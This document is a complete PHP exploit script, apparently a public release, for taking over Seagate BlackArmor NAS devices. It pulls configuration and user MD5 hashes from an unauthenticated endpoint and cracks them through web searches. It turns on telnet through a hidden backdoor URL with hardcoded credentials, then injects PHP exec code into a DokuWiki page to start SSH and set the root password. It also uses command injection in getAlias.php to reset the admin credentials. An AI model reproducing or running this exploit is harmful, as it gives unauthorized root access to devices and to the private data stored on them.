<?php
 
  
 
########################################################################
 
##     Seagate Black Armor Exploit by J. Diel <jeroen@nerdbox.it>     ##
 
########################################################################
 
## Public Release v0.2
 
########################################################################
 
  
 
abstract class MD5Decryptor {
 
    abstract public function probe($hash);
 
  
 
    public static function plain($hash, $class = NULL)
 
    {
 
        if ($class === NULL) {
 
            $class = get_called_class();
 
        } else {
 
            $class = sprintf("MD5Decryptor%s", $class);
 
        }
 
        $decryptor = new $class();
 
  
 
        if (count($hash) > 1) {
 
            foreach ($hash as &$one) {
 
                $one = $decryptor->probe($one);
 
            }
 
        } else {
 
            $hash = $decryptor->probe($hash);
 
        }
 
        return $hash;
 
    }
 
  
 
    public function dictionaryAttack($hash, array $wordlist)
 
    {
 
        $hash = strtolower($hash);
 
        foreach ($wordlist as $word) {
 
            if (md5($word) === $hash)
 
                return $word;
 
        }
 
    }
 
}
 
  
 
abstract class MD5DecryptorWeb extends MD5Decryptor {
 
    protected $url;
 
  
 
    public function getWordlist($hash)
 
    {
 
        $list = FALSE;
 
        $url = sprintf($this->url, $hash);
 
        if ($response = file_get_contents($url)) {
 
            $list[$response] = 1;
 
            $list += array_flip(preg_split("/\s+/", $response));
 
            $list += array_flip(preg_split("/(?:\s|\.)+/", $response));
 
            $list = array_keys($list);
 
        }
 
        return $list;
 
    }
 
    public function probe($hash) {
 
        $hash = strtolower($hash);
 
        return $this->dictionaryAttack($hash, $this->getWordlist($hash));
 
    }
 
}
 
  
 
class MD5DecryptorGoogle extends MD5DecryptorWeb {
 
    protected $url = "http://www.google.com/search?q=%s";
 
}
 
  
 
function portcheck($host, $port) {
 
  $connection = @fsockopen($host, $port);
 
  
 
  if (is_resource($connection)) {
 
    $port_status = "reachable";
 
    fclose($connection);
 
  } else {
 
      $port_status = "unreachable";
 
  }
 
  return $port_status;
 
}
 
  
 
function authenticate($url, $username, $password) {
 
  $ch = curl_init();
 
  
 
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
 
  
 
  curl_setopt($ch, CURLOPT_HEADER, 1);
 
  curl_setopt($ch, CURLOPT_POST, true);
 
  curl_setopt($ch, CURLOPT_POSTFIELDS, "p_user=" . $username . "&p_pass=" .
$password);
 
  curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
 
  curl_setopt($ch, CURLOPT_URL, $url);
 
  
 
  curl_exec($ch);
 
  curl_close($ch);
 
}
 
  
 
function RemoteCodeExec($url, $command) {
 
     $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx
/etc/passwd; ") . urlencode($command) . ";";
 
     $handle = fopen($url, "r");
 
}
 
  
 
function RemoteFileExist($url) {
 
     $ch = curl_init($url);
 
  
 
     curl_setopt($ch, CURLOPT_NOBODY, true);
 
     curl_exec($ch);
 
  
 
     $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 
     return $retcode;
 
     curl_close($ch);
 
}
 
  
 
function getWikiSecurityToken($url) {
 
  $curl = curl_init($url);
 
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
 
  curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE);
 
  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
 
  curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
 
  
 
  $html = curl_exec($curl);
 
  
 
  $doc = new DOMDocument;
 
  @$doc->loadHTML($html);
 
  $tags = $doc->getElementsByTagName('input');
 
  
 
  foreach ($tags as $tag) {
 
      $search = $tag->getAttribute('value');
 
      if (strlen($search) == "32") {
 
           return $search;
 
           exit;
 
      }
 
   }
 
}
 
  
 
$version = "0.2";
 
  
 
if (!isset($argv[1])) {
 
  
 
echo "------------------------------------------------------------------\n";
 
echo "  Seagate BlackArmor NAS Exploit v" . $version . " (c) 2013 - " .
date('Y') . " by J. Diel \n";
 
echo "  IT Nerdbox :: http://www.nerdbox.it :: jeroen@nerdbox.it\n";
 
echo "------------------------------------------------------------------\n";
 
echo "\nUsage: php " . $argv[0] . " <url>\n\n";
 
echo "Example Usage: php " . $argv[0] . " http://<targetip | host>\n";
 
die();
 
}
 
  
 
$curl = curl_init();
 
$url = $argv[1] . "/admin/config.xml";
 
  
 
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
 
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
 
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
 
curl_setopt($curl, CURLOPT_URL, $url);
 
  
 
$xmldata = curl_exec($curl);
 
$http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
 
curl_close($curl);
 
  
 
if ($http_status == "0") {
 
                echo "[Error]: The host was not found!\n\n";
 
                die();
 
}
 
  
 
if ($http_status == "404") {
 
                echo "[Error]: The page was not found! Are you sure this is
a Seagate BlackArmor NAS?\n";
 
                die();
 
}
 
  
 
$xml = new SimpleXMLElement($xmldata);
 
  
 
$internal_ip = $xml->xpath("network/lan/ip");
 
$internal_sn = $xml->xpath("network/lan/netmask");
 
$internal_gw = $xml->xpath("network/lan/gateway");
 
$dns0 = $xml->xpath("network/lan/dns0");
 
$dns1 = $xml->xpath("network/lan/dns1");
 
  
 
echo "------------------------------------------------------------------\n";
 
echo "- Network Details: \n";
 
echo "------------------------------------------------------------------\n";
 
  
 
echo "- IP Address         : " . $internal_ip[0] . "/" . $internal_sn[0] .
"\n";
 
echo "- Gateway / Router   : " . $internal_gw[0] . "/" . $internal_sn[0] .
"\n";
 
echo "- 1st DNS Server     : " . $dns0[0] . "\n";
 
echo "- 2nd DNS Server     : " . $dns1[0] . "\n\n";
 
  
 
  
 
$serv_pnp = $xml->xpath("network/service/upnp/enable");
 
$serv_ftp = $xml->xpath("network/service/ftp/enable");
 
$serv_ftp_port = $xml->xpath("network/service/ftp/fport");
 
$serv_nfs = $xml->xpath("network/service/nfs/enable");
 
  
 
echo "------------------------------------------------------------------\n";
 
echo "- Network Services: \n";
 
echo "------------------------------------------------------------------\n";
 
$host = explode("/", $argv[1]);
 
$host = $host[2];
 
  
 
echo "- uPNP               : " . $serv_pnp[0] . "\n";
 
echo "- FTP                : " . $serv_ftp[0] . " (port: " .
$serv_ftp_port[0] . " - " . portcheck("$host", "$serv_ftp_port[0]") . ")\n";
 
echo "- NFS                : " . $serv_nfs[0] . "\n\n";
 
  
 
$shares = $xml->xpath("shares/nasshare/sharename");
 
$cnt = count($shares);
 
  
 
echo "------------------------------------------------------------------\n";
 
echo "- Network Shares: " . $cnt . "\n";
 
echo "------------------------------------------------------------------\n";
 
  
 
for ($i=0; $i<$cnt; $i++) {
 
  echo "- " . $shares[$i] . "\n";
 
}
 
echo "\n";
 
  
 
$username = $xml->xpath("access/users/nasuser/username");
 
  
 
while(list( , $node) = each ($username)) {
 
  $users[] = $node;
 
}
 
  
 
$md5hash = $xml->xpath("access/users/nasuser/htusers");
 
  
 
while(list( , $node) = each ($md5hash)) {
 
 $md5s[] = $node;
 
}
 
  
 
$max = count($users);
 
  
 
echo "------------------------------------------------------------------\n";
 
echo "- User hashes found: \n";
 
echo "------------------------------------------------------------------\n";
 
  
 
$pwdcount = 0;
 
  
 
for ($i=0; $i<$max; $i++) {
 
  
 
  $file = "md5.hash";
 
  $fh = fopen($file, (file_exists($file)) ? "a" : "w");
 
  fclose($fh);
 
  
 
  $contents = file_get_contents($file);
 
  $pattern = preg_quote($md5s[$i], "/");
 
  $pattern = "/^.*$pattern.*\$/m";
 
  
 
  if (preg_match_all($pattern, $contents, $matches)){
 
     $pwdcount++;
 
  
 
     if ($users[$i] != "admin") {
 
     } else {
 
                $admin_found = "1";
 
        $admin_password = explode(":", implode("\n", $matches[0]));
 
     }
 
     echo "- " . implode("\n", $matches[0]) . " (username: " . $users[$i] .
")\n";
 
     $next_user = $users[$i];
 
     $next_pass = explode(":", implode("\n", $matches[0]));
 
  
 
  } else {
 
      $hashes[] = array("$md5s[$i]", "$users[$i]");
 
      echo "- " . $md5s[$i] . " (username: " . $users[$i] . ")\n";
 
  }
 
}
 
  
 
if ($pwdcount == 0) {
 
      echo
"\n------------------------------------------------------------------\n";
 
      echo "- No passwords could be found in local storage! \n";
 
      echo
"------------------------------------------------------------------\n";
 
     echo "- Search for hashes online?  Type 'yes' to continue: ";
 
  
 
      $handle = fopen ("php://stdin","r");
 
      $line = fgets($handle);
 
  
 
      if(trim($line) == "yes"){
 
                $decryptors = array("Google");
 
  
 
        echo
"\n------------------------------------------------------------------\n";
 
        echo "- Searching online for passwords: \n";
 
        echo
"------------------------------------------------------------------\n";
 
                foreach ($hashes as $hash) {
 
                                echo "- " . $hash[0];
 
                                foreach($decryptors as $decrytor) {
 
                                if (NULL !== ($plain =
MD5Decryptor::plain($hash[0], $decrytor))) {
 
                                                echo " - found: $plain";
 
                                                                $pwdcount++;
 
  
 
                                                                $next_user =
$hash[1];
 
                                                                $next_pass =
$plain;
 
  
 
                                                                if
($next_user == "admin") {
 
  
$admin_found = "1";
 
  
$admin_pass = $plain;
 
                                                                }
 
  
 
                                                                $fh =
fopen($file, (file_exists($file)) ? "a" : "w");
 
                                                                fwrite($fh,
$hash[0] . ":" . $plain . "\n");
 
                                                                fclose($fh);
 
                                                break;
 
                                } else {
 
                                                    echo " - not found!";
 
                                                 }
 
                                }
 
                                echo "\n";
 
                }
 
  
 
      }
 
}
 
  
 
if ($pwdcount != 0) {
 
  echo "\nTotal number of passwords found: " . $pwdcount . "\n\n";
 
  echo
"------------------------------------------------------------------\n";
 
  echo "- Services: \n";
 
  echo
"------------------------------------------------------------------\n";
 
  
 
  if (isset($admin_found)) {
 
                $telnet_user = "admin";
 
                if (isset($admin_password[1])) {
 
                                $telnet_pass = $admin_password[1];
 
                } else {
 
                                $telnet_pass = $admin_pass;
 
                }
 
  } else {
 
                $telnet_user = $next_user;
 
                $telnet_pass = $next_pass[1];
 
  }
 
  
 
  $telnet_status = portcheck("$host", "23");
 
  
 
  if ($telnet_status == "reachable") {
 
                echo "- The telnet daemon is already running: [skipped]\n";
 
  } else {
 
  
 
      echo "- Enable the telnet daemon? Type 'yes' to continue: ";
 
  
 
      $handle = fopen ("php://stdin","r");
 
      $line = fgets($handle);
 
  
 
      if(trim($line) != "yes"){
 
      } else {
 
          echo "- Trying to start the telnet daemon   : ";
 
  
 
          $url = $argv[1];
 
  
 
          authenticate($url, $telnet_user, $telnet_pass);
 
  
 
          $ch = curl_init();
 
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
          curl_setopt($ch, CURLOPT_POST, false);
 
          curl_setopt($ch, CURLOPT_HTTPHEADER,
 
                array(
 
                  "Authorization: Basic SmVXYWI6c3lzYWRtaW4="
 
          ));
 
          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
 
          curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
 
          curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
 
          curl_setopt($ch, CURLOPT_URL, $url .
"/admin/sxmJEWAB/SXMjewab.php?telnet=jewab&debug=1");
 
          curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 
          curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5);
 
          curl_exec($ch);
 
          curl_close($ch);
 
  
 
          echo "[done]\n";
 
          echo "- Verifiying telnet daemon status     : ";
 
  
 
          $telnet_status = portcheck("$host", "23");
 
          if ($telnet_status == "reachable") {
 
                    echo "[verified]\n";
 
          } else {
 
                      echo "[error]\n";
 
                      echo "- This is possible if portforwarding is not
enabled for telnet\n";
 
          }
 
       }
 
  }
 
  
 
  $xml = new SimpleXMLElement($xmldata);
 
  $wiki = $xml->xpath("enableddokuwikiserver");
 
  $wiki = $wiki[0];
 
  
 
  if ($wiki == "yes") {
 
        echo "- The Wiki server is enabled          : [skipped]\n";
 
  } else {
 
        echo "- Enabeling the Wiki server           : ";
 
  
 
        $url = $argv[1];
 
       $ch = curl_init();
 
  
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
        curl_setopt($ch, CURLOPT_POST, true);
 
        curl_setopt($ch, CURLOPT_POSTFIELDS,
'enablewiki=yes&agree=yes&btn=Submit');
 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
 
        curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
 
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
 
        curl_setopt($ch, CURLOPT_URL, $url . '/admin/dokuwiki_service.php');
 
  
 
        curl_exec($ch);
 
        curl_close($ch);
 
  
 
        echo "[done]\n";
 
  }
 
  
 
  echo "- Retrieving wiki security token      : ";
 
  $sectok = getWikiSecurityToken($argv[1] .
"/wiwiki/doku.php?do=login&id=start");
 
  
 
  if (isset($sectok)) {
 
    echo "[found]\n";
 
  } else {
 
     echo "[Not Found]\n";
 
     exit;
 
  }
 
  
 
  if (isset($admin_found)) {
 
                echo "- Logging in to the wiki server       : ";
 
        $url = $argv[1];
 
        $ch = curl_init();
 
  
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
        curl_setopt($ch, CURLOPT_POST, true);
 
        curl_setopt($ch, CURLOPT_POSTFIELDS, "u=" . $telnet_user . "&p=" .
$telnet_pass . "§ok=" . $sectok ."&do=login&id=start");
 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
 
  
 
        curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
 
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
 
       curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");
 
  
 
        curl_exec($ch);
 
                $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 
        curl_close($ch);
 
  
 
                echo "[done]\n";
 
  
 
        echo "- Enabling PHP in wiki server         : ";
 
                $sectok = getWikiSecurityToken($url .
"/wiwiki/doku.php?id=start&do=admin&page=config");
 
  
 
        $ch = curl_init();
 
  
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
        curl_setopt($ch, CURLOPT_POST, true);
 
        curl_setopt($ch, CURLOPT_POSTFIELDS, "config[phpok]=1§ok=" .
$sectok . "&do=admin&page=config&save=1&submit=Save");
 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
 
  
 
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
 
        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php?id=start");
 
  
 
        curl_exec($ch);
 
        curl_close($ch);
 
  
 
        echo "[done]\n";
 
                echo
"\n------------------------------------------------------------------\n";
 
                echo "- Rooting the NAS: \n";
 
        echo
"------------------------------------------------------------------\n";
 
        echo "- Enter the new root password: ";
 
  
 
        $handle = fopen ("php://stdin","r");
 
        $line = fgets($handle);
 
  
 
        if(trim($line) == ""){
 
                  $root_password = "mypassword";
 
                  echo "- No root password chosen! Setting our own: '" .
$root_password . "'\n";
 
        } else {
 
                   $root_password = preg_replace( "/\r|\n/", "", $line);
 
        }
 
  
 
        $ch = curl_init();
 
  
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
 
        curl_setopt($ch, CURLOPT_POST, true);
 
        curl_setopt($ch, CURLOPT_POSTFIELDS, "sectok=" . $sectok .
"&id=playground:playground&do[save]=Save&wikitext=<php>exec(\"/usr/sbin/drop
bear start;\"); exec(\"echo '" . $root_password . "' | passwd
--stdin;\");</php>");
 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
 
  
 
        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
 
        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");
 
        curl_exec($ch);
 
        curl_close($ch);
 
  
 
                echo "- The devices is rooted! The password is: " .
$root_password ."\n";
 
                echo "- The SSH daemon was also enabled!!\n\n";
 
  
 
  } else {
 
                echo "- Can't root the device due to lack of admin
credentials\n";
 
  
 
        echo "- However, do you want to reset the admin password? [yes]:";
 
        $handle = fopen ("php://stdin","r");
 
        $line = fgets($handle);
 
  
 
        if(trim($line) == "yes") {
 
  
 
        $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");
 
  
 
                if ($httpResponseCode == "200") {
 
                        RemoteCodeExec($argv[1], "sed '11,16d'
/proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");
 
                        RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");
 
  
 
                        echo "- Now go to: " . $argv[1] . "/reset.php to
reset the default credentials to admin/admin.\n";
 
                        exit;
 
                } else {
 
                        echo "Something went wrong, the HTTP error code is:
" . $httpResponseCode . "\n";
 
                }
 
        } else {
 
                echo "Exit....\n";
 
                exit;
 
        }
 
  }
 
  
 
} else {
 
                echo "- No passwords were found!\n";
 
  
 
        echo "- However, do you want to reset the admin password? [yes]:";
 
        $handle = fopen ("php://stdin","r");
 
        $line = fgets($handle);
 
  
 
        if(trim($line) == "yes") {
 
  
 
                $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");
 
  
 
                                if ($httpResponseCode == "200") {
 
                                                RemoteCodeExec($argv[1],
"sed '11,16d' /proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");
 
                                RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");
 
  
 
                                                echo "- Now go to: " .
$argv[1] . "/reset.php to reset the default credentials to admin/admin.\n";
 
                                                exit;
 
                                } else {
 
                                echo "Something went wrong, the HTTP error
code is: " . $httpResponseCode . "\n";
 
                                }
 
        } else {
 
                                echo "Exit....\n";
 
                                exit;
 
                }
 
}
 
  
 
?>